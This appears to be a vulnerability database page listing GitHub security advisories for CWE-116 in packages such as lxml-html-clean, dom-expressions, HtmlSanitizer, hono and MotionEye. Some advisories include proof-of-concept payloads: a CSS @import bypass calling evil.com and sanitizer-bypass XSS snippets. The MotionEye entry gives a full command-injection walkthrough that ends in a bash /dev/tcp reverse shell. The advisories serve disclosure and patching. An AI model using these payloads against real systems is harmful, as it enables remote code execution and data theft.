CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
694 vulnerabilities reference this CWE, most recent first.
GHSA-HW26-MMPG-FQFG
Vulnerability from github – Published: 2026-03-02 19:19 – Updated: 2026-03-05 22:49Summary
The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.
Details
The root cause is located in clean.py (around line 594):
style = style.replace('\\', '')
This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.
Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).
PoC
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.
Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.3"
},
"package": {
"ecosystem": "PyPI",
"name": "lxml-html-clean"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28348"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T19:19:15Z",
"nvd_published_at": "2026-03-05T20:16:16Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace(\u0027\\\\\u0027, \u0027\u0027)\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers\u0027 CSS parsers decode `\\69` as the character \u0027i\u0027 (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html(\u0027\u003cstyle\u003e@import url(\"http://evil.com/x.css\");\u003c/style\u003e\u0027)\n# Output: \u003cdiv\u003e\u003cstyle\u003e url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n\n# Unicode escape bypass:\nresult = clean_html(\u0027\u003cstyle\u003e@\\\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e\u0027)\nprint(result)\n# Output: \u003cdiv\u003e\u003cstyle\u003e@\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.",
"id": "GHSA-hw26-mmpg-fqfg",
"modified": "2026-03-05T22:49:20Z",
"published": "2026-03-02T19:19:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28348"
},
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedora-python/lxml_html_clean"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes"
}
GHSA-HW62-58PR-7WC5
Vulnerability from github – Published: 2025-02-25 17:49 – Updated: 2025-02-25 17:49[!NOTE]
This advisory was originally emailed to community@solidjs.com by @nsysean.
To sum it up, the use of javascript's .replace() opens up to potential XSS vulnerabilities with the special replacement patterns beginning with $.
Particularly, when the attributes of Meta tag from solid-meta are user-defined, attackers can utilise the special replacement patterns, either $' or `$`` to achieve XSS.
The solid-meta package has this issue since it uses useAffect and context providers, which injects the used assets in the html header. "dom-expressions" uses .replace() to insert the assets, which is vulnerable to the special replacement patterns listed above.
This effectively means that if the attributes of an asset tag contained user-controlled data, it would be vulnerable to XSS. For instance, there might be meta tags for the open graph protocol in a user profile page, but if attackers set the user query to some payload abusing .replace(), then they could execute arbitrary javascript in the victim's web browser. Moreover, it could be stored and cause more problems.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dom-expressions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.39.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27108"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-25T17:49:57Z",
"nvd_published_at": "2025-02-21T22:15:14Z",
"severity": "HIGH"
},
"details": "\u003e [!NOTE] \n\u003e This advisory was originally emailed to community@solidjs.com by @nsysean.\n\nTo sum it up, the use of javascript\u0027s `.replace()` opens up to potential XSS vulnerabilities with the special replacement patterns beginning with `$`.\n\nParticularly, when the attributes of `Meta` tag from solid-meta are user-defined, attackers can utilise the special replacement patterns, either `$\u0027` or `$\\`` to achieve XSS.\n\nThe solid-meta package has this issue since it uses `useAffect` and context providers, which injects the used assets in the html header. \"dom-expressions\" uses `.replace()` to insert the assets, which is vulnerable to the special replacement patterns listed above. \n\nThis effectively means that if the attributes of an asset tag contained user-controlled data, it would be vulnerable to XSS. For instance, there might be meta tags for the open graph protocol in a user profile page, but if attackers set the user query to some payload abusing `.replace()`, then they could execute arbitrary javascript in the victim\u0027s web browser. Moreover, it could be stored and cause more problems.",
"id": "GHSA-hw62-58pr-7wc5",
"modified": "2025-02-25T17:49:58Z",
"published": "2025-02-25T17:49:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ryansolid/dom-expressions/security/advisories/GHSA-hw62-58pr-7wc5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27108"
},
{
"type": "WEB",
"url": "https://github.com/ryansolid/dom-expressions/commit/521f75dfa89ed24161646e7007d9d7d21da07767"
},
{
"type": "PACKAGE",
"url": "https://github.com/ryansolid/dom-expressions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "DOM Expressions has a Cross-Site Scripting (XSS) vulnerability due to improper use of string.replace"
}
GHSA-J39V-2739-VWMH
Vulnerability from github – Published: 2023-08-13 12:30 – Updated: 2024-04-04 06:53Input verification vulnerability in the audio module. Successful exploitation of this vulnerability may cause virtual machines (VMs) to restart.
{
"affected": [],
"aliases": [
"CVE-2023-39382"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-13T12:15:45Z",
"severity": "HIGH"
},
"details": " Input verification vulnerability in the audio module. Successful exploitation of this vulnerability may cause virtual machines (VMs) to restart.",
"id": "GHSA-j39v-2739-vwmh",
"modified": "2024-04-04T06:53:43Z",
"published": "2023-08-13T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39382"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/8"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202308-0000001667644725"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J4GM-MR6G-474Q
Vulnerability from github – Published: 2025-02-25 18:31 – Updated: 2025-02-25 18:31Improper access control in the auth_oauth module of Odoo Community 15.0 and Odoo Enterprise 15.0 allows an internal user to export the OAuth tokens of other users.
{
"affected": [],
"aliases": [
"CVE-2024-12368"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-25T18:15:27Z",
"severity": "HIGH"
},
"details": "Improper access control in the auth_oauth module of Odoo Community 15.0 and Odoo Enterprise 15.0 allows an internal user to export the OAuth tokens of other users.",
"id": "GHSA-j4gm-mr6g-474q",
"modified": "2025-02-25T18:31:24Z",
"published": "2025-02-25T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12368"
},
{
"type": "WEB",
"url": "https://github.com/odoo/odoo/issues/193854"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J6C9-X7QJ-28XF
Vulnerability from github – Published: 2026-06-16 14:08 – Updated: 2026-07-21 15:26Summary
On AWS Lambda, the ALB single-header response and the VPC Lattice v2 response join multiple Set-Cookie headers into one comma-separated value. Because commas also appear inside cookie attributes (for example Expires dates), clients cannot split the value back into individual cookies and silently drop or misparse them.
Details
Per RFC 6265, each cookie must be its own Set-Cookie header line, and commas may appear inside attribute values. Joining cookies with ", " collides with those commas, producing a value that clients cannot reliably split. Only ALB single-header mode and VPC Lattice v2 are affected; API Gateway v1/v2 and ALB with multi-value headers enabled already use an array and are unaffected.
Impact
A client may receive only one of the cookies, a malformed cookie, or none. Session, CSRF, or preference cookies can silently fail to apply, breaking sessions or forcing re-authentication. This affects applications that set multiple cookies per response and run on AWS Lambda behind an ALB in single-header mode (the default) or VPC Lattice v2.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54287"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:08:40Z",
"nvd_published_at": "2026-06-22T18:16:47Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nOn AWS Lambda, the ALB single-header response and the VPC Lattice v2 response join multiple `Set-Cookie` headers into one comma-separated value. Because commas also appear inside cookie attributes (for example `Expires` dates), clients cannot split the value back into individual cookies and silently drop or misparse them.\n\n### Details\n\nPer RFC 6265, each cookie must be its own `Set-Cookie` header line, and commas may appear inside attribute values. Joining cookies with `\", \"` collides with those commas, producing a value that clients cannot reliably split. Only ALB single-header mode and VPC Lattice v2 are affected; API Gateway v1/v2 and ALB with multi-value headers enabled already use an array and are unaffected.\n\n### Impact\n\nA client may receive only one of the cookies, a malformed cookie, or none. Session, CSRF, or preference cookies can silently fail to apply, breaking sessions or forcing re-authentication. This affects applications that set multiple cookies per response and run on AWS Lambda behind an ALB in single-header mode (the default) or VPC Lattice v2.",
"id": "GHSA-j6c9-x7qj-28xf",
"modified": "2026-07-21T15:26:46Z",
"published": "2026-06-16T14:08:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-j6c9-x7qj-28xf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54287"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "hono: AWS Lambda adapter merges multiple `Set-Cookie` headers into one value, dropping cookies on ALB single-header and Lattice"
}
GHSA-J79Q-5FQV-HJ78
Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-03-07 18:31IBM Control Center 6.2.1 through 6.3.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking.
{
"affected": [],
"aliases": [
"CVE-2023-35894"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-644"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T17:15:17Z",
"severity": "MODERATE"
},
"details": "IBM Control Center 6.2.1 through 6.3.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking.",
"id": "GHSA-j79q-5fqv-hj78",
"modified": "2025-03-07T18:31:05Z",
"published": "2025-03-07T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35894"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7185101"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J8F3-4CQG-MHW4
Vulnerability from github – Published: 2024-01-16 21:31 – Updated: 2024-01-16 21:31OPCUAServerToolkit will write a log message once an OPC UA client has successfully connected containing the client's self-defined description field.
{
"affected": [],
"aliases": [
"CVE-2023-7234"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-117"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T19:15:08Z",
"severity": "MODERATE"
},
"details": "\nOPCUAServerToolkit will write a log message once an OPC UA client has successfully connected containing the client\u0027s self-defined description field.\n\n",
"id": "GHSA-j8f3-4cqg-mhw4",
"modified": "2024-01-16T21:31:22Z",
"published": "2024-01-16T21:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7234"
},
{
"type": "WEB",
"url": "https://integrationobjects.com//ask-a-question"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-016-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J92C-7V7G-GJ3F
Vulnerability from github – Published: 2026-02-03 19:22 – Updated: 2026-02-05 00:36Impact
If the template tag is allowed, its contents are not sanitized. The template tag is a special tag that does not usually render its contents, unless the shadowrootmode attribute is set to open or closed.
The lack of sanitization of the template tag brings up two bypasses:
- it is still possible to forcibly render the contents of a
<template>tag through mutation XSS. The DOM parsers in browsers such as Chromium have a node depth limit of 512 and tags which are beyond that depth are flattened. This in turn allows elements within<template>(which are not sanitized) to be effectively 'popped out'. An example would look like this:<div>[...]<template><script>alert('xss')</script>where[...]denotes at least another 509 opening<div>tags. - If in addition to the template tag, the
shadowrootmodeattribute is allowed throughsanitizer.AllowedAttributes.Add("shadowrootmode");, the simple payload of<div><template shadowrootmode="open"><script>alert('xss')</script>would bypass the sanitizer. This is because such usage of<template>attaches a shadow root to its parent:<div>, and its contents will be rendered.
Note that the default configuration is not affected because the template tag is disallowed by default.
Patches
The problem has been patched in versions 9.0.892 and 9.1.893-beta.
Workarounds
Disallow the template tag. It is disallowed by default.
Resources
https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "HtmlSanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.892"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "HtmlSanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.878-beta"
},
{
"fixed": "9.1.893-beta"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25543"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:22:06Z",
"nvd_published_at": "2026-02-04T22:16:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIf the `template` tag is allowed, its contents are not sanitized. The `template` tag is a special tag that does not usually render its contents, unless the `shadowrootmode` attribute is set to `open` or `closed`. \n\nThe lack of sanitization of the template tag brings up two bypasses:\n\n1. it is still possible to forcibly render the contents of a `\u003ctemplate\u003e` tag through mutation XSS. The DOM parsers in browsers such as Chromium have a node depth limit of 512 and tags which are beyond that depth are flattened. This in turn allows elements within `\u003ctemplate\u003e` (which are not sanitized) to be effectively \u0027popped out\u0027. An example would look like this: `\u003cdiv\u003e[...]\u003ctemplate\u003e\u003cscript\u003ealert(\u0027xss\u0027)\u003c/script\u003e` where `[...]` denotes at least another 509 opening `\u003cdiv\u003e` tags.\n2. If in addition to the template tag, the `shadowrootmode` attribute is allowed through `sanitizer.AllowedAttributes.Add(\"shadowrootmode\");`, the simple payload of `\u003cdiv\u003e\u003ctemplate shadowrootmode=\"open\"\u003e\u003cscript\u003ealert(\u0027xss\u0027)\u003c/script\u003e` would bypass the sanitizer. This is because such usage of `\u003ctemplate\u003e` attaches a shadow root to its parent: `\u003cdiv\u003e`, and its contents will be rendered. \n\nNote that the default configuration is not affected because the `template` tag is disallowed by default.\n\n### Patches\n\nThe problem has been patched in versions [9.0.892](https://www.nuget.org/packages/HtmlSanitizer/9.0.892) and [9.1.893-beta](https://www.nuget.org/packages/HtmlSanitizer/9.1.893-beta).\n\n### Workarounds\n\nDisallow the `template` tag. It is disallowed by default.\n\n### Resources\n\nhttps://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template",
"id": "GHSA-j92c-7v7g-gj3f",
"modified": "2026-02-05T00:36:50Z",
"published": "2026-02-03T19:22:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mganss/HtmlSanitizer/security/advisories/GHSA-j92c-7v7g-gj3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25543"
},
{
"type": "WEB",
"url": "https://github.com/mganss/HtmlSanitizer/commit/0ac53dca30ddad963f2b243669a5066933d82b81"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template"
},
{
"type": "PACKAGE",
"url": "https://github.com/mganss/HtmlSanitizer"
},
{
"type": "WEB",
"url": "https://github.com/mganss/HtmlSanitizer/releases/tag/v9.0.892"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/HtmlSanitizer/9.0.892"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/HtmlSanitizer/9.1.893-beta"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HtmlSanitizer has a bypass via template tag"
}
GHSA-J945-QM58-4GJX
Vulnerability from github – Published: 2025-11-03 21:48 – Updated: 2025-11-03 21:48Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Environment Setup
-
Start MotionEye container
Launch the vulnerable container:
bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge -
Verify version
Confirm the running version inside logs:
bash docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4 -
Container shell access (for verification later)
Keep a shell handy to verify results:
bash docker exec -it motioneye /bin/bash ls -la /tmp
Exploitation Steps
- Access Web Interface
- Open browser at:
http://127.0.0.1:9999 - Login with default credentials: admin / (blank password)
-
Add a sample RTSP network camera (required to enable camera-specific settings).
-
Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try:
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S -
Observation: This is blocked by client-side validation in the browser.
-
Client-Side Validation Discovery
- The check is implemented in JavaScript:
/static/js/main.js?v=0.43.1b4→ references/static/js/ui.js?v=0.43.1b4
-
Example validation function:
javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; } -
Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true:
javascript configUiValid = function() { return true; }; -
This bypasses client-side validation and allows arbitrary values.
-
Inject Payload
- Set Capture Mode:
Interval Snapshots - Set Interval:
10 - Set Image File Name to the payload:
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S -
Click Apply to save settings.
-
Verify Execution
- Inside the container shell:
bash ls -la /tmp - Result: File
/tmp/testis created with root permissions, confirming code execution.
Weaponizing RCE (Reverse Shell Example)
-
Start attacker listener
bash nc -lvnp 4444 -
Inject reverse shell payload
Enter the following into the Image File Name field:
bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S -
Result
- A reverse shell connects back to the attacker’s machine.
- Attacker gains full control of the MotionEye container environment.
Root Cause
- MotionEye writes unsanitized values (e.g.,
image_file_name) from the Web UI directly intocamera-<id>.conf. - On restart, the
motionbinary parses these fields as shell-expandable strings, leading to arbitrary command execution.
Impact
Type: OS Command Injection → Remote Code Execution
Who is impacted:
- Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
- Containerized and bare-metal installs alike.
Potential consequences:
- Full compromise of MotionEye container.
- Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.43.1b5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-60787"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-03T21:48:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nA command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).\n\n## Details\n### Root Cause:\nMotionEye accepts arbitrary strings from fields such as **image_file_name** and **movie_filename** in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.\n\n### Vulnerability flow:\nDashboard (Web UI)\n \u2193\nConfigHandler.set_config()\n \u2193\ncamera-*.conf written\n \u2193\nmotionctl.restart()\n \u2193\nMotion parses config \u2192 executes payload\n\n\n### Affected code:\nThe issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.\n\n\n### Proof of Concept (PoC)\n\nThe following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. \nTested using the official Docker image.\n\n---\n\n#### Environment Setup\n1. **Start MotionEye container** \n Launch the vulnerable container: \n ```bash\n docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge\n ```\n\n2. **Verify version** \n Confirm the running version inside logs: \n ```bash\n docker logs motioneye | grep \"motionEye server\"\n ``` \n **Result:** \n ```\n motionEye server 0.43.1b4\n ```\n \u003cimg width=\"741\" height=\"168\" alt=\"version_ver\" src=\"https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320\" /\u003e\n\n3. **Container shell access (for verification later)** \n Keep a shell handy to verify results: \n ```bash\n docker exec -it motioneye /bin/bash\n ls -la /tmp\n ```\n\n---\n\n#### Exploitation Steps\n4. **Access Web Interface** \n - Open browser at: `http://127.0.0.1:9999` \n - Login with default credentials: **admin** / *(blank password)* \n - Add a sample RTSP network camera (required to enable camera-specific settings).\n \n \u003cimg width=\"1623\" height=\"869\" alt=\"add_camera\" src=\"https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc\" /\u003e\n\n5. **Attempt malicious filename input** \n - Go to: **Camera Settings \u2192 Still Images** \n - In the **Image File Name** field, try: \n ```bash\n $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n ``` \n - **Observation:** This is blocked by client-side validation in the browser.\n \n \u003cimg width=\"739\" height=\"104\" alt=\"er1\" src=\"https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b\" /\u003e\n \n \u003cimg width=\"611\" height=\"90\" alt=\"er2\" src=\"https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01\" /\u003e\n\n6. **Client-Side Validation Discovery** \n - The check is implemented in JavaScript: \n - `/static/js/main.js?v=0.43.1b4` \u2192 references `/static/js/ui.js?v=0.43.1b4` \n - Example validation function: \n ```javascript\n function configUiValid() {\n $(\u0027div.settings\u0027).find(\u0027.validator\u0027).each(function () { this.validate(); });\n var valid = true;\n $(\u0027div.settings input, select\u0027).each(function () {\n if (this.invalid) { valid = false; return false; }\n });\n return valid;\n }\n ```\n\n7. **Bypass Validation** \n - Open browser console (**F12 \u2192 Console tab**) \n - Override the function to always return true: \n ```javascript\n configUiValid = function() { return true; };\n ``` \n - This bypasses client-side validation and allows arbitrary values.\n \u003cimg width=\"819\" height=\"539\" alt=\"bypass\" src=\"https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2\" /\u003e\n\n8. **Inject Payload** \n - Set **Capture Mode**: `Interval Snapshots` \n - Set **Interval**: `10` \n - Set **Image File Name** to the payload: \n ```bash\n $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n ``` \n - Click **Apply** to save settings.\n \u003cimg width=\"565\" height=\"344\" alt=\"inject_payload\" src=\"https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e\" /\u003e\n\n9. **Verify Execution** \n - Inside the container shell: \n ```bash\n ls -la /tmp\n ``` \n - **Result:** File `/tmp/test` is created with root permissions, confirming code execution.\n \u003cimg width=\"554\" height=\"164\" alt=\"verify\" src=\"https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02\" /\u003e\n\n---\n\n#### Weaponizing RCE (Reverse Shell Example)\n10. **Start attacker listener** \n ```bash\n nc -lvnp 4444\n ```\n\n11. **Inject reverse shell payload** \n Enter the following into the **Image File Name** field: \n ```bash\n $(python3 -c \"import os;os.system(\u0027bash -c \\\"bash -i \u003e\u0026 /dev/tcp/192.168.0.108/4444 0\u003e\u00261\\\"\u0027)\").%Y-%m-%d-%H-%M-%S\n ```\n\n12. **Result** \n - A reverse shell connects back to the attacker\u2019s machine. \n - Attacker gains full control of the MotionEye container environment.\n \u003cimg width=\"1140\" height=\"366\" alt=\"final\" src=\"https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9\" /\u003e\n\n---\n\n#### Root Cause\n- MotionEye writes unsanitized values (e.g., `image_file_name`) from the Web UI directly into `camera-\u003cid\u003e.conf`. \n- On restart, the `motion` binary parses these fields as shell-expandable strings, leading to arbitrary command execution. \n\n## Impact\nType: OS Command Injection \u2192 Remote Code Execution\n\nWho is impacted:\n\n1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).\n2. Containerized and bare-metal installs alike.\n\nPotential consequences:\n\n1. Full compromise of MotionEye container.\n2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.",
"id": "GHSA-j945-qm58-4gjx",
"modified": "2025-11-03T21:48:19Z",
"published": "2025-11-03T21:48:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60787"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
},
{
"type": "WEB",
"url": "https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter"
}
],
